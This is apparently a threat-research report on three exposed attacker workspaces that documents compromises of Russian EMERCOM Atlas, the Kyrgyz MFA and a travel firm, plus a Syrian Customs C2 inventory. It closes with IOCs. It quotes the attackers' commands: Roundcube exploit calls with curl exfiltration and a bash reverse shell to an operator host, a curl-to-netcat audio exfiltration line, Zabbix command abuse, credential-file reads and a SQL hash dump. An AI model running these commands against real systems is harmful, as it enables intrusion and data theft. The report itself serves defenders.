Russian and Allied Government Systems Compromised in Targeted Campaigns

29.9.26  APT  Ctrl-Alt-Intel
Threat Research

Russian and Allied Government Systems Compromised in Targeted Campaigns
Three exposed operator workspaces reveal confirmed access to Russian and Kyrgyz government systems, a Syrian Customs C2 inventory, stolen data and wider targeting of Russian state and industrial organisations.

Overview#

Using Hunt.io’s AttackCapture, we identified three exposed operator workspaces linked to compromises against Russian, Kyrgyz and Syrian government systems.

The three workspaces document different outcomes:

Hunt.io first observed the open directories on these dates:

Exposed directory

First observed by Hunt.io

Strongest government-related evidence

45.151.139[.]249:8765

30 August 2026

MChS Atlas administrative access and state changes; UEC SharePoint code execution; Union Travel data theft

207.148.64[.]94:8083

30 August 2026

Kyrgyz MFA command execution and implants; separate Syrian Customs C2 inventory

89.124.123[.]216:8080

16 June 2026

Repeated exploit attempts against GKNB webmail and Russian targets

Campaign separation: These are three separate campaigns. Attribution is assessed separately for each campaign. We compare them because each open directory exposed government targeting or compromise.

Russia: EMERCOM Atlas Compromise and Wider Targeting#

Hunt.io AttackCapture view of the exposed EMERCOM and Russian-targeting workspace

Figure 1. Hunt.io AttackCapture view of the exposed 45.151.139[.]249:8765 workspace, showing 1,620 files across 11 subdirectories when captured.

The first open directory exposed a broad offensive workspace. Ukrainian-language strings appeared throughout the playbook, including scripts, comments and operator-facing text. Ctrl-Alt-Intel is not attributing this to any known group or threat actor.

MChS received focused attention:

What EMERCOM is#

EMERCOM is Russia’s federal emergency ministry. Its full translated name is the Ministry of Civil Defence, Emergencies and Disaster Relief of the Russian Federation. Its remit covers civil defence, disaster relief and the coordination of responses to major emergencies.

One EMERCOM subdepartment is the Information and Analytical Center of EMERCOM of Russia, commonly shortened to IAC EMERCOM. It is reportedly responsible for the ministry’s internal IT and information security.

IAC EMERCOM also appeared in our earlier research, Burnt by Burgers: Highlighting Void Blizzard’s Russian State Links. That investigation found:

These relationships make IAC EMERCOM a relevant suspected link to state-sponsored espionage. The finding concerns personnel and organisational links between IAC EMERCOM and Yutek-NN.

A roleless Atlas account reached administrative data#

Atlas is an internally developed official EMERCOM hazard and emergency-risk GIS with both public and restricted components.

EMERCOM Atlas of Hazards and Risks interface

Figure 2. EMERCOM Atlas of Hazards and Risks interface.

From EMERCOM press center: This year, the “Atlas of Hazards and Risks” information system successfully completed a pilot operation. It currently contains data on various natural and man-made hazards and threats currently affecting Russia’s regions. These include, for example, wildfires, floods, power outages in populated areas, transportation disruptions, epidemics, and more. The information will be expanded and updated in the future. The service is already publicly available online.

The retained profile identified a “Test Operator” account whose assigned-role and additional-permission arrays were empty:

{
  "isAdmin": false,
  "isSuperUser": false,
  "roles": [],
  "additionalPermissions": []
}

Despite that state, 15 of 29 administrative probes returned data. The operator could read roles, permissions, forms, categories, import definitions, metrics, regions, map-service settings and external connections.

The route behaviour showed inconsistent authorisation:

Samples of the stolen ATLAS data#

The Atlas theft exposed operational structure, configuration and credentials.

The atlas_mchs_dump.tar.gz archive contains 15 JSON exports totalling 3.32 MB uncompressed.

Archived export

Complete retained contents

categories.json

459 category records under 15 roots

object_forms.json

1,059 form schemas containing 6,667 fields

kafka_imports.json

Nine import definitions, including field mappings, integration settings and counters

roles.json and permissions.json

20 roles and 100 permission definitions

my_profile.json

The roleless, non-administrator Test Operator profile used for the requests

regions.json

Eight federal-district records

metrics.json and field_types.json

45 environmental metrics and five supported field types

wms.json

Six map-service configurations, four marked as published

settings_geo.json and settings_routes.json

Eight geo-analysis layer references and three route-planning layer references

external_connections.json

The legitimate Greenplum connection and the operator-created SSRF Test entry

notifications.json and orthophotomaps.json

Both responses returned empty arrays

The complete category hierarchy contained 459 nodes across 15 roots. Of these, 397 were marked authorizedOnly: true.

Stolen Atlas category

Retained nodes

What it describes

Situation monitoring

210

Layers used to track emergency conditions, hazards and response activity

Territorial bodies of MChS Russia

188

How ministry responsibilities and map content are divided across regional bodies

External sources

18

Data supplied by systems outside Atlas

Orthophotomaps

13

Aerial or satellite-derived map layers

MChS data

9

Ministry-owned information sources and operational layers

Monitoring

7

Environmental or infrastructure monitoring categories

The retained form schemas show the types of information Atlas was designed to hold:

The archive contains 1,059 form definitions with 6,667 fields. These schemas reveal the breadth and structure of information Atlas was designed to collect.

The form catalogue included:

The operator also obtained all nine returned Kafka import definitions:

Data feed

Topic or schema name

State

Counter

Road accidents

gibdd_dtp

work

943,348

Ministry of Health incidents

vsodchs

work

13,049

MChS emergencies

wiki_chs_data

work

14,306

Water incidents

gims_drown_request

work

9,189

Fire danger classes

rosgidromet_kpo_forecast_inline

stop

1,234,168

Fire-danger forecast

rosgidromet_ppo_forecast_inline

stop

824,746

Groundwater monitoring

geomonitoring_groundwater

stop

386,234

Thermal hotspots

kaskad_thermopoints

stop

178,972

Utilities accidents

gkh_accidents

stop

153,763

Other stolen administrative data included:

The files gave the operator a working blueprint of Atlas: its protected data catalogue, administrative model, regional organisation, integrations and map-service plumbing.

The operator changed Atlas state#

At 19:19:41 +03 on 27 August 2026, a new external connection named SSRF Test appeared. An existing Greenplum connection was updated 51 seconds later and displayed as Greenplum_revealed.

A second snapshot sequence showed:

The test layer pointed to an out-of-band callback service. A response collected through the Atlas tile proxy confirmed that the server fetched the operator-controlled URL.

The activity comprised unauthorised administrative reads, configuration changes and a demonstrated server-side request.

Wider Russian targeting from the same workspace#

The Atlas evidence sat inside a much broader Russian target set. We count a domain as targeted when it appeared in target-specific tooling or a follow-up exploit pool. We excluded large passive discovery lists and certificate-transparency results from the attack count.

The clearest additional organisations were:

Organisation

What it does

What the operator attempted

Supported outcome

Uralchem

A major Russian producer and exporter of nitrogen, potash and complex fertilisers

Password spraying and SharePoint probing at surveys.uralchem.com; Moodle abuse at education.uralchem.com; Remote Desktop gateway enumeration at ts.uralchem.com, vpnazot.uralchem.com and tsgpmu.uralchem.com; TrueConf and application probing at conf.uralchem.com and cls-exp-e.uralchem.com; email tests through kmx.uralchem.com

Extensive targeting across collaboration, remote-access, conferencing and mail services

Bui Chemical Plant at bhz.ru

A Russian producer of fertilisers, micronutrients and chemical products for agriculture and industry

Mail.ru corporate-login spraying, Bitrix administrator guessing, SSRF tests, PHP upload and webshell attempts, exposed-file searches and spoofed email

Targeting across identity, web application and mail services; the SSRF request returned a URL rejection response

Directorate of the State Customer for Maritime Transport Development Programs at dgz.ru

A Russian federal institution that commissions state maritime-transport development programmes

Its Exchange host was tested for ProxyShell, ProxyLogon and ProxyNotShell vulnerabilities, including CVE-2021-34473, CVE-2021-34523, CVE-2021-31207, CVE-2021-26855 and CVE-2022-41040

Exchange exploitation attempts and reconnaissance against adjacent hosts

United Engine Corporation at uecrus.com

A Rostec company that develops and manufactures engines for aviation, space, naval and energy applications

The operator forged SharePoint site-administrator tokens for engineers2030.uecrus.com using CVE-2023-29357, then used CVE-2023-24955-style Business Data Connectivity payloads to run C# and attempt webshell, file-read and database actions

Authentication bypass and C# execution produced an output file. A later SQL membership-hash dump failed because the sqlcmd invocation was malformed

Russian Institute for Strategic Studies at riss.ru

A state political and security think tank founded by the Russian president to support national-security policy

Network and subdomain reconnaissance, Rocket.Chat password spraying, Bitrix CVE-2022-27228 file-write attempts, SSRF and open-redirect tests, WAF bypasses and scanning of nearby infrastructure

Persistent targeting through exploit and authentication attempts

The UEC artefacts went further than a scanner. The operator generated unsigned SharePoint tokens, queried administrative APIs, overwrote a Business Data Connectivity model with injected C#, triggered it through ProcessQuery, restored the original model and read results from SiteAssets. The injected process attempted to launch sqlcmd and terminated with an error before producing membership hashes.

The attempted post-exploitation command targeted SharePoint’s forms-based authentication database. Sensitive query details are shortened here. The objective and result are clear:

sqlcmd.exe -S [database host] -d aspnetdb -E -Q
  "SELECT UserName, Password, PasswordFormat, PasswordSalt, Email, LastLoginDate ..."

exit=1
cmdout=Windows command-resolution error for "C:\Program"
no_outfile

Other named targets included:

The workspace also held two APISIX route exports containing 1,151 entries. Many routes embedded Lua functions for arbitrary command execution, internal-port discovery, metadata-service access and SSH-key persistence. We report these as unattributed route artefacts and omit them from the named victim count.

Mass Bitrix follow-up

A separate automated lane moved 76 valid Russian domains into Bitrix follow-up or exploitation lists. The tooling attempted CVE-2022-27228 agent injection and PHP shell creation. The terms confirmed and vuln in the filenames describe product detection or operator triage. A retained 100-host test logged zero shells.

Show the 76 Bitrix follow-up domains

Union Travel: from default credentials to a private network#

The same workspace contained stronger operating-system and data-theft evidence at Russian travel company Union Travel.

A Zabbix instance linked to the travel company accepted its documented default administrator credentials. The operator abused Zabbix’s script functions:

api("script.update", {"scriptid": sid, "command": cmd}, token)
api("script.execute", {"scriptid": sid, "hostid": hostid}, token)

The retained automation shows hands-on post-exploitation commands. These examples are shortened and defanged:

for p in 22 80 443 445 3389 3306 8080 5432; do
  (echo >/dev/tcp/192.168.115.20/$p) 2>/dev/null && echo "OPEN:$p"
done

find / -name 'zabbix.conf.php' 2>/dev/null | head -3
cat /var/www/html/zabbix/conf/zabbix.conf.php 2>/dev/null | grep -E 'DB_|USER|HOST'

Transfer and tunnel logs recorded the next steps:

Internal results identified office.union-travel.ru, named workstations, cameras, printers, SIP devices, databases, file-transfer services and Windows systems.

The operator then collected call audio. A retained command shows the transfer pattern:

curl -sk 'hxxps://192.168.115.25/<date>/<recording>.mp3' |
  base64 | nc -w 5 45.151.139[.]249 9191

The open directory held four SQL dumps totalling 133.6 MB and 406,654 inserted rows. Counts of distinct names ignore differences in case and whitespace, while distinct phone counts use normalized digit strings:

The user table also contained password and authentication-key fields, which we redacted.

Seven MP3 files represented six unique recordings. This confirms customer and employee data theft, call metadata collection and audio exfiltration.

Tooling and success#

This workspace favoured simple, repeatable tools:

The collection shows discovery, weak credentials or exposed administration, command execution, tunnelling, internal discovery and data collection. Malware activity centred on tunnelling and remote-access tools.

Kyrgyz MFA Compromise and a Syrian Customs C2 Inventory#

Hunt.io AttackCapture view of the open directory linked to the Kyrgyz MFA compromise

Figure 3. Hunt.io AttackCapture view of the exposed 207.148.64[.]94:8083 workspace, showing 124 retained files associated with the Kyrgyz MFA investigation.

The second directory contained the clearest government server compromise.

The first successful proof was timestamped 28 August 2026 at 16:29:16 UTC. It used an existing authenticated MFA backend session to upload a one-pixel GIF containing PHP through an embassy-image field.

The application gave the file a random name under /uploads/embassies/. Requesting the resulting .php path returned:

[GIF prefix omitted]
uid=33(www-data) gid=33(www-data) groups=33(www-data)
__ID_EXIT_CODE__=0

This confirms command execution as the web-service account on a host named mfa, with private address 10.51.6.93.

This was an authenticated executable file upload weakness consistent with CWE-434. The retained workflow begins with an authenticated backend session.

What happened after execution#

The records show methodical post-exploitation from the web context.

The proof metadata preserves id verbatim. Returned output from the longer one-shot payloads records the following actions:

Commands captured through the webshell#

Several response bodies preserved the complete sh -c command line because the operator included the active shell in process searches. One request verified the first VShell-compatible agent, identified its format and hash, checked whether it was running, inspected port 8085 and printed the local routes:

id; echo __FORWARD_DIAG__; sha256sum /tmp/.mfa-vshell-forward-8085 2>&1; wc -c /tmp/.mfa-vshell-forward-8085 2>&1; file /tmp/.mfa-vshell-forward-8085 2>&1; pgrep -af mfa-vshell-forward 2>&1; ss -ltn 2>&1 | grep ':8085 ' || true; ip route 2>&1

The response identified a 7,864,320-byte, statically linked x86-64 ELF running as PID 2132286. It also showed the agent listening on all interfaces on port 8085 and confirmed the host’s route through 10.51.6.65:

d0ec32e389f3ea70d70cad67061ed6fa125641925821ec0546ebc463709d8f39  /tmp/.mfa-vshell-forward-8085
7864320 /tmp/.mfa-vshell-forward-8085
2132286 /tmp/.mfa-vshell-forward-8085
LISTEN 0 4096 *:8085 *:*
default via 10.51.6.65 dev ens192 proto static
10.51.6.64/27 dev ens192 proto kernel scope link src 10.51.6.93

The implant deployment records show that the one-shot PHP payload carried the complete agent inside the upload, extracted it on the MFA server and launched it successfully:

__FORWARD_BYTES__=7864320
__FORWARD_EXIT_CODE__=0

The operator then moved the agent to port 8086 and repeated the host checks:

id; echo __FORWARD_DIAG__; sha256sum /tmp/.mfa-vshell-forward-8086 2>&1; wc -c /tmp/.mfa-vshell-forward-8086 2>&1; file /tmp/.mfa-vshell-forward-8086 2>&1; pgrep -af mfa-vshell-forward 2>&1; ss -tn 2>&1 | grep ':8086' || true; ip route 2>&1

Once direct C2 proved unreliable, another webshell request inspected the Python relay, its Unix socket, the agent process and the listening port:

id; echo __BRIDGE_DIAG__; ls -l /tmp/.mfa_target_forward_bridge.py /tmp/.mfa_target_forward_bridge.log /tmp/.mfa_forward_bridge_8086.sock 2>&1; echo __BRIDGE_LOG__; cat /tmp/.mfa_target_forward_bridge.log 2>&1; echo __PROCESSES__; pgrep -af 'mfa-vshell-forward|mfa_target_forward_bridge' 2>&1; echo __SOCKETS__; ss -ltn 2>&1 | grep ':8086' || true

The returned process and socket data showed both components running together:

2220160 /tmp/.mfa-vshell-forward-8086
2220169 python3 /tmp/.mfa_target_forward_bridge.py
LISTEN 0 4096 *:8086 *:*
srw------- 1 www-data www-data /tmp/.mfa_forward_bridge_8086.sock

These commands show an operator validating each stage from inside the compromised web context: confirm the payload on disk, hash it, check its process, confirm its listener, inspect routing and then verify the relay used to carry C2 traffic through the MFA website.

A local PostgreSQL session returned current_user=utn, current_database=utn and PostgreSQL 15.3. Visible tables included:

This proves database access and schema visibility.

The operator also listed a pre-existing mfafront1.zip archive of about 16 GB.

VShell agents and a web-based relay#

The operator’s first reverse-stage attempts failed with connectivity errors. The workflow changed to full Linux agents listening locally on the MFA host.

Two VShell-compatible payloads were confirmed by victim-side hashes, processes and sockets:

/tmp/.mfa-vshell-forward-8085
/tmp/.mfa-vshell-forward-8086

Traffic moved through a custom relay:

C2 service and SOCKS frontend
  -> local TCP-to-HTTPS adapter
  -> token-protected PHP endpoint on the MFA website
  -> Unix socket and Python bridge
  -> VShell-compatible agent on 127.0.0.1:8086

The victim-side components included:

This adaptive workaround provided continuing access through the already reachable web application after direct C2 failed.

A separate 9,800-byte C loader was also staged. Static analysis showed it could:

Static analysis identified those capabilities in the file.

Lateral movement attempts and observed results#

The operator probed all 30 usable addresses in the local /27. Targets included storage, notification, document editing, licensing, vehicle inspection and construction services.

The supplied outcomes show clear limits:

The Kyrgyz MFA web host was compromised.

What the Syrian Customs records show#

A separate historical C2 database in the same directory contained 98 registrations representing 31 distinct hostname and IP pairs.

Five hostnames explicitly used customs.gov.sy:

Nearby records described virtualisation, storage, monitoring, collaboration, ERP and Windows systems. Reported account contexts included root, oracle, vsphere-ui and NT AUTHORITY\SYSTEM.

The records support a historical C2 inventory of 98 agent rows associated with Syrian Customs.

Kyrgyz National Security and Russian Targets#

Hunt.io AttackCapture view of the workspace targeting Kyrgyz national security and Russian systems

Figure 4. Hunt.io AttackCapture view of the exposed 89.124.123[.]216:8080 workspace, showing 53 files and 11 subdirectories containing exploit material and shell history.

Hunt.io first observed the third open directory at 89.124.123[.]216:8080 on 16 June 2026.

Its 146-line .bash_history captured a hands-on operator:

The most persistent government target was mail.gknb.gov[.]kg, associated with Kyrgyzstan’s State Committee for National Security, or GKNB.

This workspace documents targeting and attempted exploitation through target inputs, operator commands and exploit tooling.

Roundcube CVE-2025-49113 attempts#

The operator used two public proof-of-concept implementations for CVE-2025-49113, a post-authentication Roundcube remote-code-execution vulnerability involving PHP object deserialisation.

Credentials were supplied on the command line. We removed them from these examples:

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> "whoami"

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> \
  "curl hxxp://89.124.123[.]216:8080/$(id | base64 -w0)"

php CVE-2025-49113.php hxxps://mail.gknb.gov[.]kg/mail \
  <ACCOUNT> <PASSWORD> \
  "bash -i >& /dev/tcp/89.124.123[.]216/443 0>&1"

These are exact command patterns from the shell history with credentials removed and network indicators defanged.

The operator tried:

Three Russian-language or Russian-linked mail hosts also appeared. One attempt requested cat /etc/shadow; others requested whoami or a reverse shell.

The directory records credential-supplied commands against the target webmail systems.

Other exploit tracks#

The operator moved quickly between public vulnerabilities and exposed services:

Vulnerability or mechanism

Observed activity

Supported outcome

Roundcube CVE-2025-49113

Credential-supplied commands against four mail hosts

Repeated exploit targeting

PAN-OS CVE-2024-3400

Checker invocation and payload-generation tooling

The recorded checker likely failed locally due to its arguments

PHP-CGI CVE-2024-4577

RCE-capable scripts run against three URL variants

Exploit targeting across three paths

ShareFile CVE-2026-2699

Detection script run against six unique IPs

Detection targeting across six IPs

Ivanti Sentry tooling labelled CVE-2026-10520

598 endpoints across 542 hosts in target lists

Large-scale target collection

Kerio Control

Reverse-shell firmware image and CSRF upgrade tooling

Payload preparation and delivery targeting

FreePBX API execution

Hardcoded target and reverse-shell command

Script execution and callback targeting

SQL injection

sqlmap run against a Russian federal-agency URL

SQL injection targeting

The history also recorded this exact SQL injection command:

sqlmap -u "hxxps://fas.gov[.]ru/indikativnyj-tarif-na-transportirovku-nefti/indikat?eval_id=1"

A stock p0wny PHP webshell named shell.php was staged locally. It supports command execution, file upload and download, directory navigation and several PHP execution functions. Its observed lifecycle ends on the staging server.

A 154-byte upgrade.img contained a one-line netcat reverse shell prepared for Kerio’s custom-upgrade process.

This workspace shows opportunistic tradecraft and repeated manual experimentation. Mistyped commands, invalid option combinations and payload changes suggest an interactive, troubleshooting-heavy workflow with limited automation.

Tradecraft#

The first workspace was efficient and repeatable. The operator converted exposed administration and default credentials into tunnels, internal discovery and collection.

The MFA records show more adaptive engineering:

The third workspace was more manual and error-prone. Its shell history shows public tooling, syntax changes and repeated listeners.

Opportunism and targeting#

Focused government targeting and opportunistic scanning coexisted:

Success and impact#

The campaign outcomes form this hierarchy:

  1. Union Travel: confirmed host execution, private-network pivot and theft of structured personal data and call audio.

  2. Kyrgyz MFA: confirmed web execution, application-secret collection, local database access and two running VShell-compatible agents.

  3. UEC SharePoint: confirmed authentication bypass and injected C# execution. The database hash-dump attempt terminated with an error.

  4. MChS Atlas: confirmed protected-data access and application-state modification.

  5. Syrian Customs: privileged C2 registrations with limited corroboration.

  6. GKNB and other Russian targets: repeated exploit, credential and reconnaissance targeting.

IOCs#

The table contains operator infrastructure and malware or host artefacts supported by the exposed workspaces. Victim-owned public systems are excluded.

Indicator

Type

Context

45.151.139[.]249:8765

IP:port

Unauthenticated staging and data server for the EMERCOM, UEC and wider Russian targeting campaign; first observed by Hunt.io on 30 August 2026.

45.151.139[.]249:8888

IP:port

Redis cron callback listener configured in the same operator workspace.

207.148.64[.]94:8083

IP:port

Exposed staging service containing the Kyrgyz MFA records and historical C2 database; first observed by Hunt.io on 30 August 2026.

207.148.64[.]94:8084

IP:port

Staging and C2 endpoint embedded in the analysed Linux stage loader.

89.124.123[.]216:8080

IP:port

Exposed operator workspace and recurring callback destination; first observed by Hunt.io on 16 June 2026.

89.124.123[.]216:8081

IP:port

Alternate reverse-shell listener and callback port used by payloads in the same workspace.

f6ee6c03cead9ef26ad5e93f11437323c5e0acef0934468880ac740531234eaa

SHA256

VShell-compatible Linux payload variant present in the exposed MFA collection.

d79f80b7b2b437f8d8de2e6df54d637080230377c0a07dee384112fe5ef4a81f

SHA256

Linux TCP stage loader that retrieves and memory-executes an XOR-decoded payload from the configured staging endpoint.

576eed7cf2a6e8f900cc869b8b05620afb7609ed479412e32b139c8299847ada

SHA256

VShell-compatible Linux forward-agent variant present in the exposed MFA collection.

6dceaa79c34ee2d6ea1734d77e1f1155292e9588f35427a6dcb18f7c0120187e

SHA256

VShell-compatible Linux forward agent whose hash was observed on the recorded MFA host with process evidence.

d0ec32e389f3ea70d70cad67061ed6fa125641925821ec0546ebc463709d8f39

SHA256

VShell-compatible Linux forward agent whose hash was observed at /tmp/.mfa-vshell-forward-8085 with process and listening-socket evidence.

/tmp/.mfa-vshell-forward-8085

File path

Confirmed implant path in the supplied Kyrgyz MFA execution records.

/tmp/.mfa-vshell-forward-8086

File path

Confirmed implant path for the second VShell-compatible MFA forward agent.